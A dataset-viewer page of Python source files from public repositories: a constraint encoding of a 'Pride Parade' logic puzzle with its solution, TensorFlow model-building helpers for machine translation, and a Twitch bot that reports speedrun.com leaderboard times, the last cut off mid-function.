xszheng2020/the_stack_dedup_python_hits_7 · Datasets at Hugging Face

e89220dd48bc543e64841c042d1dbdefd57a80f1

7,940

py

Python

src/puzzle/examples/msp/msp2017_06_21_pride_parade.py

PhilHarnish/forge

663f19d759b94d84935c14915922070635a4af65

[ "MIT" ]

2

2020-08-18T18:43:09.000Z

2020-08-18T20:05:59.000Z

src/puzzle/examples/msp/msp2017_06_21_pride_parade.py

PhilHarnish/forge

663f19d759b94d84935c14915922070635a4af65

[ "MIT" ]

null

src/puzzle/examples/msp/msp2017_06_21_pride_parade.py

PhilHarnish/forge

663f19d759b94d84935c14915922070635a4af65

[ "MIT" ]

null

from puzzle.puzzlepedia import puzzle def get(): return puzzle.Puzzle('Pride Parade', SOURCE) SOURCE = """ position in range(1, 7 + 1) color in {orange, blue, violet, green, pink, red, yellow} name in {Phyllis, Patria, Harvey, Courtney, Kimball, Li, Christopher} direction in {left, right} def sees(dimension): if dimension.left: result = dimension.position - 1 else: result = 7 - dimension.position return result def dist(a, b): return abs(a.position - b.position) - 1 # The person in the orange float can see exactly x floats more than Phyllis can, where x is some number. orange_sees = sees(orange) phyllis_sees = sees(Phyllis) orange_sees > phyllis_sees # x == 2. x = orange_sees - phyllis_sees # If the blue and violet floats are facing the same direction, then Patria is in one of those floats; otherwise, Patria is in the green float. if blue.left == violet.left: Patria.blue or Patria.violet else: Patria.green # The person in the blue float can see, directly in front of it, another float whose driver has x letters in his/her name. # NOTE: Names are 2, 6, 7, 11 so x == 2 or x == 6. 6 is too big for z. (x == 2) # If x == 2: blue sees Li. #if blue.left: # blue[1] == False # Li.position == blue.position - 1 #else: # blue[7] == False Li.position == blue.position + 1 blue.right == True # There is an even number of floats between Harvey’s and the pink float (not including themselves). float_distance = dist(Harvey, pink) (float_distance == 2) or (float_distance == 4) # The red float is the farthest west. red.position[1] == True # If Courtney’s float is blue, orange, violet, or green, then at least one of Courtney’s neighbors has a name containing the letter Y. c_is_bovg = (Courtney.blue or Courtney.orange or Courtney.violet or Courtney.green) if c_is_bovg: dist(Phyllis, Courtney) == 0 or dist(Harvey, Courtney) == 0 # Harvey can see Kimball’s float directly in front of him. Kimball.position == Harvey.position + 1 Harvey.right == True #(Harvey.left * (Kimball.position == Harvey.position - 1)) or (Harvey.right * (Kimball.position == Harvey.position + 1)) #if Harvey.left: # Kimball.position == Harvey.position - 1 #else: # Kimball.position == Harvey.position + 1 # The violet float is next to the yellow float if and only if Li’s float is pink. (Li == pink) == (abs(violet.position - yellow.position) == 1) # The people in the orange and pink floats can see the blue float somewhere ahead. blue_left_of_orange = blue.position < orange.position orange.left == blue_left_of_orange blue_right_of_orange = blue.position > orange.position orange.right == blue_right_of_orange blue_left_of_pink = blue.position < pink.position pink.left == blue_left_of_pink blue_right_of_pink = blue.position > pink.position pink.right == blue_right_of_pink # If Li’s float is east of Harvey’s, then Li’s float is either orange or pink. if Li.position > Harvey.position: Li.orange or Li.pink # If Harvey’s float is red or orange, then Kimball’s float is a primary color. if Harvey.red or Harvey.orange: Kimball.red or Kimball.blue # If the red and yellow floats are next to each other, then the person in the red float can see fewer than y other floats, where y = x + 1. red_yellow_neighbors = abs(red.position - yellow.position) == 1 red_sees = sees(red) y = x + 1 if red_yellow_neighbors: red_sees < y # If Christopher’s float is a secondary color, then he can see more floats than Courtney can. if Christopher.violet or Christopher.orange or Christopher.green: sees(Christopher) > sees(Courtney) # The person in the red float has a name that is z letters long, where z = x * y. # x = 2 or 6 # y = 3 or 7 # z = 6, 14, 18, 42 # Only "6" works. z = x * y (red == Harvey) or (red == Patria) # The pink, violet, and green floats are facing the same direction. pink.left == violet.left == violet.left == green.left """ SOURCE = """ position in range(1, 7 + 1) color in {orange, blue, violet, green, pink, red, yellow} name in {Phyllis, Patria, Harvey, Courtney, Kimball, Li, Christopher} direction in {left, right} def sees(dimension): if dimension.left: result = dimension.position - 1 else: result = 7 - dimension.position return result # The person in the orange float can see exactly x floats more than Phyllis can, where x is some number. orange_sees = sees(orange) phyllis_sees = sees(Phyllis) orange_sees > phyllis_sees x = orange_sees - phyllis_sees # If the blue and violet floats are facing the same direction, then Patria is in one of those floats; otherwise, Patria is in the green float. if blue.left == violet.left: Patria.blue or Patria.violet else: Patria.green # The person in the blue float can see, directly in front of it, another float whose driver has x letters in his/her name. # NOTE: Names are 2, 6, 7, 11 so x == 2 or x == 6. 6 is too big for z. (x == 2) # If x == 2: blue sees Li. if blue.left: blue[1] == False all(Li[i - 1] == blue[i] for i in range(2, 8)) else: blue[7] == False all(Li[i + 1] == blue[i] for i in range(1, 7)) float_distance = abs(Harvey.position - pink.position) - 1 (float_distance == 2) ^ (float_distance == 4) # The red float is the farthest west. red.position[1] == True # If Courtney’s float is blue, orange, violet, or green, then at least one of Courtney’s neighbors has a name containing the letter Y. c_is_bovg = (Courtney.blue or Courtney.orange or Courtney.violet or Courtney.green) c_left_neighbor_has_y = all(Phyllis[i - 1] or Harvey[i - 1] for i in range(2, 8) if Courtney[i]) c_right_neighbor_has_y = all(Phyllis[i + 1] or Harvey[i + 1] for i in range(1, 7) if Courtney[i]) if c_is_bovg: c_left_neighbor_has_y or c_right_neighbor_has_y # Harvey can see Kimball’s float directly in front of him. if Harvey.left: Harvey[1] == False all(Kimball[i - 1] for i in range(2, 8) if Harvey[i]) else: Harvey[7] == False all(Kimball[i + 1] for i in range(1, 7) if Harvey[i]) # The violet float is next to the yellow float if and only if Li’s float is pink. (Li == pink) == (abs(violet.position - yellow.position) == 1) # The people in the orange and pink floats can see the blue float somewhere ahead. blue_left_of_orange = blue.position < orange.position orange.left == blue_left_of_orange blue_right_of_orange = blue.position > orange.position orange.right == blue_right_of_orange blue_left_of_pink = blue.position < pink.position pink.left == blue_left_of_pink blue_right_of_pink = blue.position > pink.position pink.right == blue_right_of_pink # If Li’s float is east of Harvey’s, then Li’s float is either orange or pink. if Li.position > Harvey.position: Li.orange or Li.pink # If Harvey’s float is red or orange, then Kimball’s float is a primary color. if Harvey.red or Harvey.orange: Kimball.red or Kimball.blue # If the red and yellow floats are next to each other, then the person in the red float can see fewer than y other floats, where y = x + 1. red_yellow_neighbors = abs(red.position - yellow.position) == 1 red_sees = sees(red) y = x + 1 if red_yellow_neighbors: red_sees < y # If Christopher’s float is a secondary color, then he can see more floats than Courtney can. if Christopher.violet or Christopher.orange or Christopher.green: sees(Christopher) > sees(Courtney) # The person in the red float has a name that is z letters long, where z = x * y. # x = 2 or 6 # y = 3 or 7 # z = 6, 14, 18, 42 # Only "6" works. z = x * y (red == Harvey) or (red == Patria) # The pink, violet, and green floats are facing the same direction. pink.left == violet.left == violet.left == green.left """ SOLUTION = """ position | color | name | direction 1 | red | Harvey | right 2 | blue | Kimball | right 3 | orange | Li | left 4 | pink | Courtney | left 5 | violet | Christopher | left 6 | green | Patria | left 7 | yellow | Phyllis | right """

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e8a6b76784f0a0ff78794f2b94770bc0bdb982ea

7,635

py

Python

tsf_nmt/build_ops.py

giancds/tsf_nmt

82d6fb338ec1395159dfee154b96761750304848

[ "Apache-2.0" ]

71

2016-01-26T03:14:55.000Z

2022-02-27T20:27:00.000Z

tsf_nmt/build_ops.py

afcarl/tsf_nmt

82d6fb338ec1395159dfee154b96761750304848

[ "Apache-2.0" ]

2

2016-05-16T06:54:06.000Z

2017-01-01T12:59:01.000Z

tsf_nmt/build_ops.py

afcarl/tsf_nmt

82d6fb338ec1395159dfee154b96761750304848

[ "Apache-2.0" ]

19

2016-05-11T09:48:12.000Z

2018-08-05T16:50:15.000Z

# -*- coding: utf-8 -*- import tensorflow as tf from tensorflow.python.platform import gfile import attention import content_functions import decoders import nmt_models def create_seq2seq_model(session, forward_only, model_path=None, use_best=False, FLAGS=None, buckets=None, translate=False): """Create translation model and initialize or load parameters in session.""" assert FLAGS is not None assert buckets is not None decode_input = FLAGS.decode_input decode_file = FLAGS.decode_file assert (decode_input is True and decode_file is False) \ or (decode_input is False and decode_file is True) \ or (decode_input is False and decode_file is False), \ 'Cannot decode from input AND from file. Please choose just one option.' # we should set batch to 1 when decoding if decode_input or decode_file: batch = 1 else: batch = FLAGS.batch_size dropout_rate = FLAGS.dropout if translate: dropout_rate = 0.0 if FLAGS.output_attention == "None": if FLAGS.informed_decoder: decoder = decoders.attention_decoder_informed else: decoder = decoders.attention_decoder else: if FLAGS.informed_decoder: decoder = decoders.attention_decoder_output_informed else: decoder = decoders.attention_decoder_output attention_f = attention.get_attention_f(FLAGS.attention_type) content_function = content_functions.get_content_f(FLAGS.content_function) decoder_attention_f = content_functions.get_decoder_content_f(FLAGS.output_attention) model = nmt_models.Seq2SeqModel(source_vocab_size=FLAGS.src_vocab_size, target_vocab_size=FLAGS.tgt_vocab_size, buckets=buckets, source_proj_size=FLAGS.proj_size, target_proj_size=FLAGS.proj_size, encoder_size=FLAGS.hidden_size, decoder_size=FLAGS.hidden_size, num_layers_encoder=FLAGS.num_layers, num_layers_decoder=FLAGS.num_layers, max_gradient_norm=FLAGS.max_gradient_norm, batch_size=batch, learning_rate=FLAGS.learning_rate, learning_rate_decay_factor=FLAGS.learning_rate_decay_factor, decoder=decoder, optimizer=FLAGS.optimizer, use_lstm=FLAGS.use_lstm, input_feeding=FLAGS.input_feeding, dropout=dropout_rate, attention_f=attention_f, window_size=FLAGS.window_size, content_function=content_function, decoder_attention_f=decoder_attention_f, num_samples=FLAGS.num_samples_loss, forward_only=forward_only, max_len=FLAGS.max_len, cpu_only=FLAGS.cpu_only, early_stop_patience=FLAGS.early_stop_patience, save_best_model=FLAGS.save_best_model, log_tensorboard=FLAGS.log_tensorboard) if model_path is None: if use_best: ckpt = tf.train.get_checkpoint_state(FLAGS.best_models_dir) else: ckpt = tf.train.get_checkpoint_state(FLAGS.train_dir) if ckpt and gfile.Exists(ckpt.model_checkpoint_path): print('Reading model parameters from %s' % ckpt.model_checkpoint_path) model.saver.restore(session, ckpt.model_checkpoint_path) else: print('Created model with fresh parameters.') session.run(tf.initialize_all_variables()) else: print('Reading model parameters from %s' % model_path) model.saver.restore(session, model_path) return model def create_nmt_model(session, forward_only, model_path=None, use_best=False, FLAGS=None, buckets=None, translate=False): """Create translation model and initialize or load parameters in session.""" assert FLAGS is not None assert buckets is not None decode_input = FLAGS.decode_input decode_file = FLAGS.decode_file assert (decode_input is True and decode_file is False) \ or (decode_input is False and decode_file is True) \ or (decode_input is False and decode_file is False), \ 'Cannot decode from input AND from file. Please choose just one option.' # we should set batch to 1 when decoding if decode_input or decode_file: batch = 1 else: batch = FLAGS.batch_size dropout_rate = FLAGS.dropout if translate: dropout_rate = 0.0 attention_f = attention.get_attention_f(FLAGS.attention_type) content_function = content_functions.get_content_f(FLAGS.content_function) decoder_attention_f = content_functions.get_decoder_content_f(FLAGS.output_attention) model = nmt_models.NMTModel(source_vocab_size=FLAGS.src_vocab_size, target_vocab_size=FLAGS.tgt_vocab_size, buckets=buckets, source_proj_size=FLAGS.proj_size, target_proj_size=FLAGS.proj_size, encoder_size=FLAGS.hidden_size, decoder_size=FLAGS.hidden_size, max_gradient_norm=FLAGS.max_gradient_norm, batch_size=batch, learning_rate=FLAGS.learning_rate, learning_rate_decay_factor=FLAGS.learning_rate_decay_factor, optimizer=FLAGS.optimizer, input_feeding=FLAGS.input_feeding, dropout=dropout_rate, attention_f=attention_f, window_size=FLAGS.window_size, content_function=content_function, decoder_attention_f=decoder_attention_f, num_samples=FLAGS.num_samples_loss, forward_only=forward_only, max_len=FLAGS.max_len, cpu_only=FLAGS.cpu_only, early_stop_patience=FLAGS.early_stop_patience, save_best_model=FLAGS.save_best_model) if model_path is None: if use_best: ckpt = tf.train.get_checkpoint_state(FLAGS.best_models_dir) else: ckpt = tf.train.get_checkpoint_state(FLAGS.train_dir) if ckpt and gfile.Exists(ckpt.model_checkpoint_path): print('Reading model parameters from %s' % ckpt.model_checkpoint_path) model.saver.restore(session, ckpt.model_checkpoint_path) else: print('Created model with fresh parameters.') session.run(tf.initialize_all_variables()) else: print('Reading model parameters from %s' % model_path) model.saver.restore(session, model_path) return model

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1

0

1

0

null

0

7

e8cc6a9faccd293e09c3f6891d4bcacfd13fbd19

48,471

py

Python

Run.py

unlink2/speedrunb0t

b80ab7a529503acf16a44e89f71b352b3e645f74

[ "MIT" ]

null

Run.py

unlink2/speedrunb0t

b80ab7a529503acf16a44e89f71b352b3e645f74

[ "MIT" ]

null

Run.py

unlink2/speedrunb0t

b80ab7a529503acf16a44e89f71b352b3e645f74

[ "MIT" ]

null

import string import re import time import math import urllib.request from urllib.request import urlopen from json import loads from Socket import openSocket, sendMessage from Initialize import joinRoom from Read import getUser, getMessage, getChannel from Settings import COOLDOWN, IDENT, ADMIN, CLIENT_ID from Games import GAMES, CATEGORIES, PLATFORMS def getUserID(username): try: url = "https://api.twitch.tv/kraken/users?login={}".format(username) hdr = {'Client-ID': 'eoe4ex6phzs05gspwg8kgms3joi7cm', 'Accept': 'application/vnd.twitchtv.v5+json'} req = urllib.request.Request(url, headers=hdr) response = urllib.request.urlopen(req) except urllib.error.HTTPError as err: raise LookupError('User not found') return readable = response.read().decode('utf-8') lst = loads(readable) USER_ID = lst['users'][0]['_id'] return USER_ID def getStreamTitle(USER_ID): try: url = "https://api.twitch.tv/kraken/channels/{}".format(USER_ID) hdr = {'Client-ID': 'eoe4ex6phzs05gspwg8kgms3joi7cm', 'Accept': 'application/vnd.twitchtv.v5+json'} req = urllib.request.Request(url, headers=hdr) response = urllib.request.urlopen(req) except urllib.error.HTTPError as err: raise LookupError('User not found') return readable = response.read().decode('utf-8') lst = loads(readable) title = lst['status'].lower() return title def getGame(USER_ID): try: url = "https://api.twitch.tv/kraken/channels/{}".format(USER_ID) hdr = {'Client-ID': 'eoe4ex6phzs05gspwg8kgms3joi7cm', 'Accept': 'application/vnd.twitchtv.v5+json'} req = urllib.request.Request(url, headers=hdr) response = urllib.request.urlopen(req) except urllib.error.HTTPError as err: raise LookupError('User not found') return readable = response.read().decode('utf-8') lst = loads(readable) current_game = lst['game'] if isinstance(current_game, str) == True: pass else: return None, None, None for i in range(len(GAMES)): if GAMES[i][0].lower() == current_game.lower(): game = GAMES[i][1] platform = GAMES[i][3] platform_title = GAMES[i][2] return game, platform, platform_title return None, None, None def isEmulator(title): if 'emulator' in title: return True else: return False def joinChannel(input): if input == message.lower().strip() and CHANNEL == ADMIN: global channel_list is_joined = False for chan in channel_list: chan = chan.split(':')[0] if chan == user: is_joined = True break if is_joined == False: with open('channels.txt', 'a') as f: f.write(user + ":" + user + "\n") channel_list.append(user + ":" + user) s.send(("JOIN #" + user + "\r\n").encode()) sendMessage(s, user, "/me has joined.") sendMessage(s, CHANNEL, "@" + user.title() + " speedrunb0t has successfully joined your channel.") cooldown() else: sendMessage(s, CHANNEL, "@" + user.title() + " speedrunb0t is already in your channel.") cooldown() def addChannel(input): if input == message.lower().split()[0] and user == ADMIN: try: newChannel = message.lower().split()[1] except IndexError as err: sendMessage(s, CHANNEL, "Error: Invalid syntax for the !addchannel command. Correct syntax is !addchannel <channel>") return try: message.split()[2] except IndexError as err: pass else: sendMessage(s, CHANNEL, "Error: Invalid syntax for the !addchannel command. Correct syntax is !addchannel <channel>") return global channel_list is_joined = False for chan in channel_list: chan = chan.split(':')[0] if chan == newChannel: is_joined = True break if is_joined == False: with open('channels.txt', 'a') as f: f.write(newChannel + ":" + newChannel + "\n") channel_list.append(newChannel + ":" + newChannel) s.send(("JOIN #" + newChannel + "\r\n").encode()) sendMessage(s, newChannel, "/me has joined.") sendMessage(s, CHANNEL, "speedrunb0t has successfully joined " + newChannel.title() + "'s channel.") cooldown() return else: sendMessage(s, CHANNEL, "speedrunb0t is already in " + newChannel.title() + "'s channel.") cooldown() return elif input == message.lower().split()[0] and user != ADMIN: sendMessage(s, CHANNEL, "@" + user.title() + " Only the Bot Administrator may use the !addchannel command.") cooldown() return def channels(input): if input == message.lower().strip() and user == ADMIN: global channel_list channels = [] for chan in channel_list: chan = chan.split(':')[0] channels.append(chan) channels_message = "speedrunb0t is currently being used in the following " + str(len(channels)) + " channels: " + str(channels) if len(channels_message) < 500: sendMessage(s, CHANNEL, channels_message) elif len(channels_message) < 1000: sendMessage(s, CHANNEL, channels_message[0:500]) sendMessage(s, CHANNEL, channels_message[500:]) else: sendMessage(s, CHANNEL, "The list of channels is too long.") elif input == message.lower().strip() and user != ADMIN: sendMessage(s, CHANNEL, "@" + user.title() + " Only the Bot Administrator may use the !channels command.") cooldown() return def setSRCName(input): if input == message.lower().split()[0]: if user == CHANNEL: global channel_list try: new_srcname = message.lower().split(' ', 1)[1].strip() except IndexError as err: sendMessage(s, CHANNEL, "Error: Invalid syntax for the !setsrcname command. Correct syntax is !setsrcname <src_username>") cooldown() return if ' ' in new_srcname: sendMessage(s, CHANNEL, "Error: New Speedrun.com username must not contain whitespace") cooldown() return new_line = user.lower() + ":" + new_srcname.lower() with open("channels.txt", "r+") as f: for chan in channel_list: if chan.split(':')[0] == user: channel_list.remove(chan) channel_list.append(new_line) f.truncate(0) f.writelines(channel_list) break sendMessage(s, CHANNEL, "The Speedrun.com username associated with this channel has been set to \'" + new_srcname + "\'.") cooldown() elif user != CHANNEL: sendMessage(s, CHANNEL, "@" + user.title() + " Only the channel owner may use this command.") cooldown() #Returns the world record for the category that's written in the stream title def worldRecord(input): if input == message.lower().split()[0].strip(): #Check to see if an argument is specified first argument = False try: message.lower().split()[1] except IndexError as err: pass else: argument = True #get user ID of current channel try: USER_ID = getUserID(CHANNEL) except LookupError as err: sendMessage(s, CHANNEL, "User not found") cooldown() return #get title of current channel title = getStreamTitle(USER_ID) if isEmulator(title): emulators = 'true' else: emulators = 'false' game, platform, platform_title = getGame(USER_ID) if '[' in title and ']' in title: for i in range(len(PLATFORMS)): if PLATFORMS[i][0].lower() == title.split('[')[1].split(']')[0]: platform = PLATFORMS[i][1] platform_title = PLATFORMS[i][0] break category = None category_title = None #Check again to see if an argument was specified if argument == False: for i in range(len(CATEGORIES)): if CATEGORIES[i][0].lower() in title: category = CATEGORIES[i][1] category_title = CATEGORIES[i][0] break elif argument == True: specified_category = message.lower().split(input, 1)[-1].strip() for i in range(len(CATEGORIES)): if specified_category == CATEGORIES[i][0].lower(): category_title = CATEGORIES[i][0] category = CATEGORIES[i][1] break if category == None: sendMessage(s, CHANNEL, "Error: Invalid category specified") cooldown() return if game == None: sendMessage(s, CHANNEL, "Error: No game/category info found in stream title") cooldown() return if category != None: try: response = urlopen('https://www.speedrun.com/api/v1/leaderboards/{}/category/{}?top=1&embed=players&platform={}&emulators={}'.format(game, category, platform, emulators)) except urllib.error.HTTPError as err: sendMessage(s, CHANNEL, "HTTPError: Please try again") cooldown() return readable = response.read().decode('utf-8') lst = loads(readable) runner = lst['data']['players']['data'][0]['names']['international'] time_in_sec = int(lst['data']['runs'][0]['run']['times']['realtime_t']) hours = divmod(time_in_sec, 3600) minutes = divmod(hours[1], 60) seconds = minutes[1] wr = '' if hours[0] > 0: wr = str(hours[0]) + "h " + str(minutes[0]) + "m " + str(seconds) + "s " elif minutes[0] > 0: wr = str(minutes[0]) + "m " + str(seconds) + "s " else: wr = str(seconds) + "s " sendMessage(s, CHANNEL, "The " + category_title + " world record is " + wr + "by " + runner + ".") cooldown() return elif category == None: sendMessage(s, CHANNEL, "Error: No game/category info found in stream title") cooldown() return def second(input): if input == message.lower().split()[0].strip(): #Check to see if an argument is specified first argument = False try: message.lower().split()[1] except IndexError as err: pass else: argument = True #get user ID of current channel try: USER_ID = getUserID(CHANNEL) except LookupError as err: sendMessage(s, CHANNEL, "User not found") cooldown() return #get title of current channel title = getStreamTitle(USER_ID) if isEmulator(title): emulators = 'true' else: emulators = 'false' game, platform, platform_title = getGame(USER_ID) if '[' in title and ']' in title: for i in range(len(PLATFORMS)): if PLATFORMS[i][0].lower() == title.split('[')[1].split(']')[0]: platform = PLATFORMS[i][1] platform_title = PLATFORMS[i][0] break category = None category_title = None #Check again to see if an argument was specified if argument == False: for i in range(len(CATEGORIES)): if CATEGORIES[i][0].lower() in title: category = CATEGORIES[i][1] category_title = CATEGORIES[i][0] break elif argument == True: specified_category = message.lower().split(input, 1)[-1].strip() for i in range(len(CATEGORIES)): if specified_category == CATEGORIES[i][0].lower(): category_title = CATEGORIES[i][0] category = CATEGORIES[i][1] break if category == None: sendMessage(s, CHANNEL, "Error: Invalid category specified") cooldown() return if game == None: sendMessage(s, CHANNEL, "Error: No game/category info found in stream title") cooldown() return if category != None: try: response = urlopen('https://www.speedrun.com/api/v1/leaderboards/{}/category/{}?top=2&embed=players&platform={}&emulators={}'.format(game, category, platform, emulators)) except urllib.error.HTTPError as err: sendMessage(s, CHANNEL, "HTTPError: Please try again") cooldown() return readable = response.read().decode('utf-8') lst = loads(readable) runner = lst['data']['players']['data'][1]['names']['international'] time_in_sec = int(lst['data']['runs'][1]['run']['times']['realtime_t']) hours = divmod(time_in_sec, 3600) minutes = divmod(hours[1], 60) seconds = minutes[1] place2nd = '' if hours[0] > 0: place2nd = str(hours[0]) + "h " + str(minutes[0]) + "m " + str(seconds) + "s " elif minutes[0] > 0: place2nd = str(minutes[0]) + "m " + str(seconds) + "s " else: place2nd = str(seconds) + "s " sendMessage(s, CHANNEL, "The 2nd place time for " + category_title + " is " + place2nd + "by " + runner + ".") cooldown() return elif category == None: sendMessage(s, CHANNEL, "Error: No game/category info found in stream title") cooldown() return def third(input): if input == message.lower().split()[0].strip(): #Check to see if an argument is specified first argument = False try: message.lower().split()[1] except IndexError as err: pass else: argument = True #get user ID of current channel try: USER_ID = getUserID(CHANNEL) except LookupError as err: sendMessage(s, CHANNEL, "User not found") cooldown() return #get title of current channel title = getStreamTitle(USER_ID) if isEmulator(title): emulators = 'true' else: emulators = 'false' game, platform, platform_title = getGame(USER_ID) if '[' in title and ']' in title: for i in range(len(PLATFORMS)): if PLATFORMS[i][0].lower() == title.split('[')[1].split(']')[0]: platform = PLATFORMS[i][1] platform_title = PLATFORMS[i][0] break category = None category_title = None #Check again to see if an argument was specified if argument == False: for i in range(len(CATEGORIES)): if CATEGORIES[i][0].lower() in title: category = CATEGORIES[i][1] category_title = CATEGORIES[i][0] break elif argument == True: specified_category = message.lower().split(input, 1)[-1].strip() for i in range(len(CATEGORIES)): if specified_category == CATEGORIES[i][0].lower(): category_title = CATEGORIES[i][0] category = CATEGORIES[i][1] break if category == None: sendMessage(s, CHANNEL, "Error: Invalid category specified") cooldown() return if game == None: sendMessage(s, CHANNEL, "Error: No game/category info found in stream title") cooldown() return if category != None: try: response = urlopen('https://www.speedrun.com/api/v1/leaderboards/{}/category/{}?top=3&embed=players&platform={}&emulators={}'.format(game, category, platform, emulators)) except urllib.error.HTTPError as err: sendMessage(s, CHANNEL, "HTTPError: Please try again") cooldown() return readable = response.read().decode('utf-8') lst = loads(readable) runner = lst['data']['players']['data'][2]['names']['international'] time_in_sec = int(lst['data']['runs'][2]['run']['times']['realtime_t']) hours = divmod(time_in_sec, 3600) minutes = divmod(hours[1], 60) seconds = minutes[1] place3rd = '' if hours[0] > 0: place3rd = str(hours[0]) + "h " + str(minutes[0]) + "m " + str(seconds) + "s " elif minutes[0] > 0: place3rd = str(minutes[0]) + "m " + str(seconds) + "s " else: place3rd = str(seconds) + "s " sendMessage(s, CHANNEL, "The 3rd place time for " + category_title + " is " + place3rd + "by " + runner + ".") cooldown() return elif category == None: sendMessage(s, CHANNEL, "Error: No game/category info found in stream title") cooldown() return def fourth(input): if input == message.lower().split()[0].strip(): #Check to see if an argument is specified first argument = False try: message.lower().split()[1] except IndexError as err: pass else: argument = True #get user ID of current channel try: USER_ID = getUserID(CHANNEL) except LookupError as err: sendMessage(s, CHANNEL, "User not found") cooldown() return #get title of current channel title = getStreamTitle(USER_ID) if isEmulator(title): emulators = 'true' else: emulators = 'false' game, platform, platform_title = getGame(USER_ID) if '[' in title and ']' in title: for i in range(len(PLATFORMS)): if PLATFORMS[i][0].lower() == title.split('[')[1].split(']')[0]: platform = PLATFORMS[i][1] platform_title = PLATFORMS[i][0] break category = None category_title = None #Check again to see if an argument was specified if argument == False: for i in range(len(CATEGORIES)): if CATEGORIES[i][0].lower() in title: category = CATEGORIES[i][1] category_title = CATEGORIES[i][0] break elif argument == True: specified_category = message.lower().split(input, 1)[-1].strip() for i in range(len(CATEGORIES)): if specified_category == CATEGORIES[i][0].lower(): category_title = CATEGORIES[i][0] category = CATEGORIES[i][1] break if category == None: sendMessage(s, CHANNEL, "Error: Invalid category specified") cooldown() return if game == None: sendMessage(s, CHANNEL, "Error: No game/category info found in stream title") cooldown() return if category != None: try: response = urlopen('https://www.speedrun.com/api/v1/leaderboards/{}/category/{}?top=4&embed=players&platform={}&emulators={}'.format(game, category, platform, emulators)) except urllib.error.HTTPError as err: sendMessage(s, CHANNEL, "HTTPError: Please try again") cooldown() return readable = response.read().decode('utf-8') lst = loads(readable) runner = lst['data']['players']['data'][3]['names']['international'] time_in_sec = int(lst['data']['runs'][3]['run']['times']['realtime_t']) hours = divmod(time_in_sec, 3600) minutes = divmod(hours[1], 60) seconds = minutes[1] place4th = '' if hours[0] > 0: place4th = str(hours[0]) + "h " + str(minutes[0]) + "m " + str(seconds) + "s " elif minutes[0] > 0: place4th = str(minutes[0]) + "m " + str(seconds) + "s " else: place4th = str(seconds) + "s " sendMessage(s, CHANNEL, "The 4th place time for " + category_title + " is " + place4th + "by " + runner + ".") cooldown() return elif category == None: sendMessage(s, CHANNEL, "Error: No game/category info found in stream title") cooldown() return def fifth(input): if input == message.lower().split()[0].strip(): #Check to see if an argument is specified first argument = False try: message.lower().split()[1] except IndexError as err: pass else: argument = True #get user ID of current channel try: USER_ID = getUserID(CHANNEL) except LookupError as err: sendMessage(s, CHANNEL, "User not found") cooldown() return #get title of current channel title = getStreamTitle(USER_ID) if isEmulator(title): emulators = 'true' else: emulators = 'false' game, platform, platform_title = getGame(USER_ID) if '[' in title and ']' in title: for i in range(len(PLATFORMS)): if PLATFORMS[i][0].lower() == title.split('[')[1].split(']')[0]: platform = PLATFORMS[i][1] platform_title = PLATFORMS[i][0] break category = None category_title = None #Check again to see if an argument was specified if argument == False: for i in range(len(CATEGORIES)): if CATEGORIES[i][0].lower() in title: category = CATEGORIES[i][1] category_title = CATEGORIES[i][0] break elif argument == True: specified_category = message.lower().split(input, 1)[-1].strip() for i in range(len(CATEGORIES)): if specified_category == CATEGORIES[i][0].lower(): category_title = CATEGORIES[i][0] category = CATEGORIES[i][1] break if category == None: sendMessage(s, CHANNEL, "Error: Invalid category specified") cooldown() return if game == None: sendMessage(s, CHANNEL, "Error: No game/category info found in stream title") cooldown() return if category != None: try: response = urlopen('https://www.speedrun.com/api/v1/leaderboards/{}/category/{}?top=5&embed=players&platform={}&emulators={}'.format(game, category, platform, emulators)) except urllib.error.HTTPError as err: sendMessage(s, CHANNEL, "HTTPError: Please try again") cooldown() return readable = response.read().decode('utf-8') lst = loads(readable) runner = lst['data']['players']['data'][4]['names']['international'] time_in_sec = int(lst['data']['runs'][4]['run']['times']['realtime_t']) hours = divmod(time_in_sec, 3600) minutes = divmod(hours[1], 60) seconds = minutes[1] place5th = '' if hours[0] > 0: place5th = str(hours[0]) + "h " + str(minutes[0]) + "m " + str(seconds) + "s " elif minutes[0] > 0: place5th = str(minutes[0]) + "m " + str(seconds) + "s " else: place5th = str(seconds) + "s " sendMessage(s, CHANNEL, "The 5th place time for " + category_title + " is " + place5th + "by " + runner + ".") cooldown() return elif category == None: sendMessage(s, CHANNEL, "Error: No game/category info found in stream title") cooldown() return #Returns the channel owner's personal best time for the category that's written in the stream title def personalBest(input): if input == message.lower().split()[0]: SRC_USERNAME = '' for i in channel_list: if CHANNEL in i: SRC_USERNAME = i.split(":")[1].strip('\n') break else: SRC_USERNAME = ADMIN category_specified = False try: message.split()[2] except IndexError as err: pass else: category_specified = True #get user ID of current channel try: USER_ID = getUserID(CHANNEL) except LookupError as err: sendMessage(s, CHANNEL, "User not found") cooldown() return #get title of current channel title = getStreamTitle(USER_ID) game, platform, platform_title = getGame(USER_ID) if '[' in title and ']' in title: for i in range(len(PLATFORMS)): if PLATFORMS[i][0].lower() == title.split('[')[1].split(']')[0]: platform_title = PLATFORMS[i][0] break category_title = None if category_specified == True: category_title = message.lower().strip('!pb ') first_word = category_title.lower().split()[0] category_title = category_title.split(first_word, 1)[-1].strip() check = False for i in range(len(CATEGORIES)): if CATEGORIES[i][0].lower() == category_title: check = True category_title = CATEGORIES[i][0] break if check == False: sendMessage(s, CHANNEL, "Error: Invalid category specified") cooldown() return elif category_specified == False: for i in range(len(CATEGORIES)): if CATEGORIES[i][0].lower() in title: category_title = CATEGORIES[i][0] break if game == None: sendMessage(s, CHANNEL, "Error: No game/category info found in stream title") cooldown() return username = None try: message.split()[1] except IndexError as err: username = SRC_USERNAME else: username = message.split()[1] if category_title != None: try: response = urlopen('https://www.speedrun.com/api/v1/users/{}/personal-bests?embed=category,game,platform'.format(username)) except urllib.error.HTTPError as err: sendMessage(s, CHANNEL, "Error: Speedrun.com user not found") cooldown() return readable = response.read().decode('utf-8') lst = loads(readable) place = None time_in_sec = None for cat in lst['data']: if cat['category']['data']['name'].lower() == category_title.lower() and cat['game']['data']['abbreviation'].lower() == game and cat['platform']['data']['name'].lower() == platform_title.lower(): time_in_sec = int(cat['run']['times']['realtime_t']) place = cat['place'] break if place == None: sendMessage(s, CHANNEL, username.title() + " currently does not have a PB for " + category_title + " on the leaderboard.") cooldown() return ordinal = lambda n: "%d%s" % (n,"tsnrhtdd"[(math.floor(n/10)%10!=1)*(n%10<4)*n%10::4]) hours = divmod(time_in_sec, 3600) minutes = divmod(hours[1], 60) seconds = minutes[1] pb = '' if hours[0] > 0: pb = str(hours[0]) + "h " + str(minutes[0]) + "m " + 